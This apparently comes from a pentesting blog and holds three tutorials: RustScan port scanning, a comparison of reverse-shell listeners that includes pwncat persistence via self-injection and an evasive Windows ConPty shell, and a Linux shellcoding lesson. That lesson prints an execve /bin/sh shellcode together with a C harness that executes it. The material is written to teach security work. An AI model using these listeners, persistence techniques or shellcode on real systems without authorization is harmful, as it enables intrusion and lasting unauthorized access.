Showing posts with label Penetration Testing. Show all posts
Showing posts with label Penetration Testing. Show all posts

A Detailed Guide on RustScan

In the realm of cybersecurity, network scanning tools play a vital role in reconnaissance and vulnerability assessment. Among the array of options available, Rustscan has emerged as a formidable contender, offering speed, efficiency, and versatility that distinguish it from traditional tools like Nmap.

Table of Contents

·      What sets Rustscan apart?

·      Advantages of Rustscan over Nmap

·      Usage (Docker)

·      Installation and Usage (Standalone)

·      Rustscan flags

·      Conclusion

What sets Rustscan apart?

Rustscan is an open-source network scanner developed in the Rust programming language. Its lightweight design, optimized algorithms, and user-friendly interface make it a preferred choice for both penetration testers and security professionals.

Advantages of Rustscan over Nmap:

Speed: It is renowned for its rapid scanning capabilities. Its multithreaded architecture and optimized algorithms enable it to scan large networks significantly faster than traditional scanners like Nmap.

Efficiency: It prioritizes efficiency, utilizing resources intelligently and minimizing overhead. This ensures that scanning tasks are completed swiftly without excessive resource consumption.

Ease of Use: With its intuitive interface and simplified command structure, Rustscan is accessible to users of all levels of expertise. Its design minimizes the learning curve typically associated with network scanning tools.

Versatility: It offers a broad range of features and customization options, allowing users to tailor their scans to specific requirements. Whether performing basic port scanning or comprehensive service enumeration, Rustscan delivers.

 

Usage (Docker)

Rustscan can run by pulling an image using docker. The installation guide is available here https://github.com/RustScan/RustScan/wiki/Installation-Guide  

To install docker use the command:

apt install docker.io



After the docker installation, rustscan can run from the following command:

docker run -it --rm --name rustscan rustscan/rustscan:2.1.1 -a 192.168.1.7



Installation and Usage (Standalone)

Installation of Rustscan can be performed using cargo, the following command can be used:

apt install cargo



cargo install rustscan


 

Make sure to add the /root/.cargo/bin to the path



echo $SHELL

nano .zshrc



Add the /root/.cargo/bin as export PATH.



 

After installation success, Rustscan is now ready to run.



Rustscan flags

There are a number of operations which can be performed using Rustscan, below listed are the flags to perform respective operation in Rustscan.

-a : To perform a comprehensive scan of all TCP ports.

rustscan -a 192.168.1.7





 

--ulimit : To adjust the ulimit for file descriptors to handle large-scale scans. If the scan is running slow adding this flag with a value of 5000 will make it run faster.

rustscan -a 192.168.1.7 --ulimit 5000



-p : To define specific ports to be scanned.

rustscan -a 192.168.1.7 -p 21,22,23



-r : To perform a range scan, specific range of ports will be scanned.

rustscan -a 192.168.1.7 -r 21-50

 


 

 

-sC -sV : To perform default script scan and service version scan.

rustscan -a 192.168.1.7 -- -sC -sV



Results of service version and default script scan can be seen below.



Rustscan can also be used to scan the entire subnet IP addresses by just adding a /24 after the IP address.

rustscan -a 192.168.1.0/24



-g : To enable the "greppable" output format for easy parsing and analysis.

rustscan -a 192.168.1.7 -g



--accessible : Turn on accessible mode, does not print ASCII art. Also does not print very large blocks of text, as this can cause some pain with screenreaders. This reduces the information you get.

rustscan -a 192.168.1.7 --accessible



Conclusion

Rustscan represents a significant advancement in network scanning technology. Its speed, efficiency, and versatility make it an invaluable tool for cybersecurity professionals. Whether conducting routine network audits or hunting for vulnerabilities, Rustscan is a must-have in your toolkit.


Best Alternative of Netcat Listener

Pentesters rely on a variety of tools to establish connections and maintain access during security assessments. One critical component of their toolkit is the listener—a program that listens for incoming connections and facilitates communication with compromised systems.

 In this blog post, we'll delve into different listener options, exploring features and use cases for popular tools such as Netcat, Rlwrap, Rustcat, Pwncat and Windows ConPty shell.

Table of Content

·       Reverse Shell Generator

·       Netcat for Beginners

·       Rlwrap for OSCP

·       Rustcat for OSCP

·       Pwncat for Read Teamers

·       Windows ConPty for OSCP  & Red Teamers

Reverse Shell Generator

In order to generate a reverse shell the https://www.revshells.com/ can be used as it provides a number of commands for the reverse shells and listeners based on the OS that can be used ideally in Remote command Execution based Scenario

However there are my online and offline techniques can be used for Reverse Generator, read our previous blog “Easy way to Generate Reverse Shell



 

Netcat

Netcat, often dubbed the "Swiss Army knife of networking," is a versatile tool for creating simple TCP and UDP connections. Its minimalist design and broad functionality make it a favorite among pentesters. Key features include:

·       Basic Connectivity

·       Port Scanning

·       File Transfer

·       Remote Shell Access

A netcat listerner is started at port 4444 in the kali machine. Following is the command for the netcat listener:

nc -lnvp 4444        

After generating the command from reverse shell generator, the command for reverse shell is used in the ubuntu OS.



After running the above command in the ubuntu OS, a reverse shell is obtained in the kali machine.

Limitation: However, it is observed that after pressing the upper arrow key to reuse the previous command the terminal does not completes the command.



rlwrap for OSCP

rlwrap, short for "readline wrapper" enhances the usability of command-line interfaces. While not a dedicated listener tool, it improves the experience of interacting with shell-based tools like Netcat through:

·       Command Line History

·       Autocompletion

Benefits of Rlwrap over Netcat

rlwrap adds command history and editing capabilities to Netcat sessions, simplifying command recall and modification. Pentesters benefit from rlwrap's tab-completion feature, speeding up command entry by suggesting possible completions based on the current input.

Installation of rlwrap is simple, just use the following command:

apt install rlwrap



After installation repeat the entire process followed in the netcat section, but for reverse shell use the following listener command to use the rlwrap:

rlwrap nc -lvnp 4444

Advantage: Observe that the after the reverse shell is obtained, the command can be autocompleted and reused.



 

Rustcat for OSCP

Rustcat, a modern reimplementation of Netcat in the Rust programming language, aims to provide improved performance and security while retaining Netcat's functionality. Key reasons for its adoption include:

·       Serves it purpose of listening to ports

·       Grab History

·       User-friendly

·       Supports udp

·       Uses colors

Rustcat leverages Rust's memory safety features, reducing the likelihood of common vulnerabilities such as buffer overflows. Its design enables concurrent connections, allowing pentesters to handle multiple sessions efficiently. Like Netcat, Rustcat is available on multiple platforms, ensuring compatibility across different operating systems.

Installation of Rustcat can be done using cargo, the following command can be used:

apt install cargo



cargo install rustcat





Make sure to add the /root/.cargo/bin to the path



echo $SHELL

nano .zshrc




Add the /root/.cargo/bin as Export Path.



After installation repeat the entire process followed in the netcat section, but for reverse shell use the following listener command to use the rustcat:

rcat listen -ib 1234

Advantage: Observe that the tab completion is enable in rcat and can be used to autocomplete the commands.




Observe that the tab completion is enable in rcat and can be used to autocomplete the commands.





However, it has more dynamic features such UDP  (-lpu) connection and History function (-lpH) 

Pwncat for Red Teamer

Pwncat, a feature-rich netcat-like tool designed for pentesters and red teamers, offers several enhancements over traditional Netcat:

·       Interactive Shell

·       Scriptable Interface

·       Encrypted Communication

·       Persistance

Pwncat provides an interactive shell with syntax highlighting and command completion, improving the user experience. Pentesters can automate tasks using Pwncat's Python scripting interface, allowing for greater flexibility and customization. It also supports encrypted communication channels, ensuring confidentiality when interacting with compromised systems.

Installation of pwncat can be done using pip, the following command can be used:

pip install pwncat



After installation repeat the entire process followed in the netcat section, but for reverse shell use the following listener command to use the pwncat:

pwncat -l 1234 --self-inject /bin/bash:192.168.1.7:1234

Advantage: Observe that pwncat holds a persistence by creating a file in the /tmp/ directory. Therefore, if a connection is lost the reverse shell can still be obtained at the same port which was previously used like a persistence



The persistence can be checked by running a rlwrap listener at the same port after terminating the above connection.



Pwncat has a feature to create persistence on multiple ports which can be performed using the following commands:

pwncat -l 1234 --self-inject /bin/bash:192.168.1.7:1234+2

 



It can be observed that along with port 1234, the reverse shell can also be obtained on the ports 1235 and 1236.



Windows ConPty Shell

The Windows ConPty shell, a more recent addition to the pentester's arsenal, leverages the ConPty functionality introduced in Windows 10. It offers several advantages over traditional shells:

·       Improved TTY

·       Stability and Compatibility

·       Evasion Techniques

ConPty shell provides improved TTY functionality, allowing for a more interactive experience, including proper handling of command line utilities like Vim and Python.

Advantage: It is more stable and compatible with modern Windows systems, providing a reliable option for post-exploitation activities. Pentesters can utilize ConPty shell to bypass security mechanisms by avoiding traditional detection methods.

Reverse shell generator can be used for the listener command and the reverse shell payload.



For starting the listener at port 443 in the kali machine the command can be used from the reverse shell generator website.



Now using the reverse shell payload in the windows machine and running the command copied from reverse shell generator.



Observe that the reverse shell is obtained at port 443 and it is a fully interactive session.



Conclusion

In conclusion, pentesters have a diverse range of listener options available, each offering unique features and benefits. Whether it's the simplicity of Netcat, the usability enhancements of Rlwrap, the performance and security of Rustcat, the advanced capabilities of Pwncat, or the modern functionality of the Windows ConPty shell, selecting the right tool depends on the specific requirements of the assessment.

By understanding the strengths and weaknesses of these tools, pentesters can effectively establish and maintain access during security engagements.

64-bit Linux Assembly and Shellcoding

Introduction

Shellcodes are machine instructions that are used as a payload in the exploitation of a vulnerability. An exploit is a small code that targets a vulnerability. Shellcodes are written in assembly. We generally refer to sites like shell-storm.org to get shellcodes and attach them to our exploits. But how can we make our shellcodes?

This series of articles focuses on creating our shellcodes. In Part 1, we'd be understanding basic assembly instructions, writing our very first assembly code, and turning that into a shell code.

Table of Content

l  Understanding CPU Registers

l  First Assembly Program

l  Assembling and Linking

l  Extracting Shellcode

l  Removing NULLs

l  A sample shellcode execution

l  Conclusion

Understanding CPU registers

"Assembly is the language of OS." We have all read this in our computer science textbooks in high school. But how is assembly written? How is the assembly language able to control our CPU? How do we make our assembly program?

Before going into assembly, let's understand our CPU registers. An x86-64 CPU has various 8-byte (64-bit) registers that can be used to store data, do computation, and other tasks. These registers are physical and embedded in the chip. They are lightning-fast and exponentially faster than the hard disk memory. If we can write a program only using registers, the time required to run it would virtually be instantaneous.

A CPU contains a Control Unit, Execution Unit among other things. This execution unit talks to Registers and Flags.



There are many registers on the CPU. But for this part, we only need to know about the general-purpose registers.



64-bit registers

(ref: researchgate.net)

So, in the image above we can see that there are legacy 8 registers (RAX, RBX, RCX, RDX, RDI, RSI, RBP, RSP) and then R8 to R15. These are the general-purpose registers. CPU may also have others like MMX which we'll encounter later on.

Out of these, these 4 data registers are:

RAX - Accumulator. Used for input/output and most arithmetic operations.

RBX - Base Register. Used for stack's index addressing

RCX - Count Register. Used for counting, like a loop counter.

RDX - Data register. Used in I/O operations along with RAX for multiply/divide involving large values.

Again, this is just the given function. We can modify and use these registers in other ways we like.

Next, 3 pointer registers are:

RIP - Instruction Pointer. Stores the offset of the next instruction to be executed.

RSP - Stack Pointer. Stores the memory address of the top of the stack.

RBP - Base Pointer. Makes the base of the stack frame for the current function. This makes it easier to access function parameters and local variables at fixed offsets from the RBP register. eg: RBP-4 would store the first integer variable defined in the program.

Finally, there are 2 Index registers:

RSI - Source Index. It is used as as source index for string operations mainly.

RDI - Destination Index. It is used as a destination index for string operations mainly.

 

Apart from these we have some control registers as well, known as flags. These flags hold values 0 and 1 for set and unset. Some of these are:

CF - Carry Flag. Used for carry and borrow in mathematical operations.

PF - Parity Flag. Used for errors while processing arithmeetic operations. If number of “1” bits are even then PF=0 else it is set as 1.

ZF - Zero Flag. Used to indicate the result of a previous operation. This would be used as the input  of other operations like JZ,JNZ etc.

Now we are ready to write our first program in assembly.

First Assembly Program

An assembly program is written with usually 3 main sections:

1.      Text section - Program instructions are stored here

2.      Data section - Defined data is stored here

3.      BSS section - Undefined data is stored here.

It is also to note that there are 2 main assembly flavors in Linux 64-bit Assembly: AT&T syntax and Intel syntax.

If you have used GDB before, you’ll notice it automatically displays the assembly in AT&T syntax. This is a personal preference. Some people like seeing their assembly in this, but we would be using the Intel syntax because it seems a lot clearer.

Let's write our first "Hello World" program.

We always start by defining our skeleton code. I'll create a file with the extension ".asm"



We always start by defining a global directive. Since, unlike C, we don't have a main function here to tell the compiler where a program starts from, in assembly, we use the symbol "_start" to define the start of the program. In section .text, we define the _start label to tell the assembler to start instructions from this point.

For full details about global directives, refer to this post.

Now, we have to define a message "Hello World." Since this is a piece of data, it must come in .data section



This is how variables are declared:

<variable>: <data type> <value>

The name of the variable is “message”. It is defined as a sequence of bytes (db=define bytes) and ends with an end line (0xa is the hex value for "\n").

For full details about data types in assembly, refer to this post.

Now that we have declared a message, we need instructions to print it.

It is important to know that assembly also uses the underlying system calls in an OS. In Linux OS, there are currently 456 system calls which are defined in /usr/include/x86-64-linux-gnu/unistd_64.h

You can also find an online searchable table here: https://filippo.io/linux-syscall-table/

The syscall used to print a message is "write." It uses these arguments:





So, these syscalls essentially also use different registers to process and perform a task. Upon knowing more about what syscall requires in these registers we'd be able to perform any syscall. To perform write, we need these values in these registers:

rax -> 1

rdi -> 1 (stdout in Linux is defined by fd=1)

rsi -> Message to display

rdx -> length of the message (which is 12 including end line)

But how do we input these values in these registers? For this, in Assembly, there are many instructions. The most common instruction is “mov.” This moves values from:

l  Between registers

l  Memory to Registers and Registers to Memory

l  Immediate data to registers

l  Immediate data to memory

So, we will just move these values into dedicated registers and our code becomes like this:



However, manually calculating the length of messages may not be feasible. So, we'll use a little trick. We'll define a new variable for length and use "equ" which means equals proceeded by "$" which denotes the current offset and subtract our message's beginning offset from this to find the length of the message.

We would further need to use the instruction "syscall" to also call the "write" syscall we just defined. Without using the "syscall" operation, write won't be performed with register values.



Finally, we also need to exit from the program. sys_exit syscall in Linux performs this operation.



So, rax-> 60

And rdi-> any value we want for the error code. Let's give this 0 for now.



Assembling and Linking

Now this code is ready to run. We always need to do these steps to run an assembly code:

1.      Assemble using nasm

2.      Link with necessary libraries using ld

An assembler produces object files as output. We then link it with necessary libraries that contain the definition of certain instructions and create an executable. We will use “nasm” to do the assembling and “ld” to link.

Since it is a 64-bit elf that we want, the command would become:

nasm -f elf64 1.asm -o 1.o

ld 1.o -o 1

./1



As we see, we have now generated an executable file that is printing "hello world." Perfect. We can now proceed to create our shellcode using this binary.

Extracting shellcode

We created our assembly code and made an executable out of it that prints something. Let's say a poor exploit (not a good one, haha) wants to exploit something with the payload to print “Hello World”. How would one do this?

For this, we need to extract the instruction bytes from our executable. We can use objdump to do this

Upon seeing the binary with objdump, we can see our assembly code and the instructions in hex written alongside it. We are providing -M intel because we want the output in Intel assembly format.

objdump -d 1 -M intel



We all know computers only know binary. However, displaying binary on screen is not feasible. So, computer scientists used hex instructions. This gets translated into the CPU and the computer acts.

Removing NULLs

We need to extract these bytes and use them in our C code! Simple? BUT WAIT!

Another fundamental we know is that null bytes can sometimes terminate an action. So we must remove these null bytes from our shellcode to prevent any mishappening. To exactly know which instructions won't generate null bytes comes with practice. But certain tricks can be used in simple programs to achieve this.

For example, using "xor rax,rax" would assign rax=0 since xoring anything with itself gives 0.



So, we can do "xor rax,rax" and then "add rax,1" to make RAX as 1.

In our code, you'll observe every mov instruction creates 0s. So, if we have to assign a value of “1”, we can xor to make it 0 and then “add” 1. “Add” instruction simply adds the value given to the register mentioned.

Following this trick we can re-write our code like this:



Let's see if we still have 0s or not.



We can still observe some 0s in movabs and mov instructions. We can use some tricks to reduce these 0s further.



This would still produce 0s near mov rsi, message. We can reduce this by using "lea." “lea” command loads an address into the memory. This is also known as the “memory referencing.” We’ll see the details in a future article on rel and memory referencing.



We can still see 2 null bytes there but for now, this is workable. We can use the "jmp call pop" technique to remove this as well. Let's talk about that in further articles.



This binary also works. Let's extract these bytes and make it a shellcode. We can copy these manually too (tiring!) but let's use a command line fu for this:

objdump -d ./PROGRAM | grep -Po '\s\K[a-f0-9]{2}(?=\s)' | sed 's/^/\\x/g' | perl -pe 's/\r?\n//' | sed 's/$/\n/'



Shellcode: \x48\x31\xc0\x48\x83\xc0\x01\x48\x31\xff\x48\x83\xc7\x01\x48\x8d\x35\xeb\x0f\x00\x00\x48\x31\xd2\x48\x83\xc2\x0c\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05

 

 

Sample shellcode execution

The shellcode we just created can not be executed in C programs because “Hello World” was being fetched as static data. For this, we will utilize another technique called JMP, CALL, and POP. This we will cover in the next article. For this part, let’s focus on executing a ready-made shellcode.

 

On sites like shell-storm.org, you would observe that the assembly of a program is given, and then the related shellcode as well. For example, here we see that an assembly program is written to execute “execve(/bin/sh)” which spawns up a new shell using the Linux system call “execve”

 



The shellcode observed is: \x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05

 

To execute this shellcode, we need to write a small C program. Here is a skeleton:

 

#include <stdio.h>

#include <string.h>

 

char code[] = "<shellcode>";

 

int main()

{

    printf("len:%zu bytes\n", strlen(code));

    (*(void(*)()) code)();

    return 0;

}

 

So, the code becomes like so and we have to compile it with no modern compiler protections command. Also, note that we are using Ubuntu 14 to test our shellcode since even after no protections, modern systems may still block the execution of such shellcodes (due to memory permissions or ASLR issues) which we will tackle in future articles.

 



 

Now, we can run this binary and observe how it spawns a new shell!



 

 

Conclusion

 

In the article, we saw how we can write out our assembly programs using registers and Linux syscalls, make an executable, and then extract the instruction bytes using objdump. These instruction bytes can then be used as a payload in exploits. That is why it is called a shellcode. We created our shellcode which prints “Hello World” but we didn’t execute it in the C program. The reason was that “Hello World” was static data in the program that couldn’t be properly loaded in registers using the assembly we created. For this, we have to use a technique called JMP, CALL, POP and utilize stack for it. We shall see this in the next article. Thanks for reading this part of the series.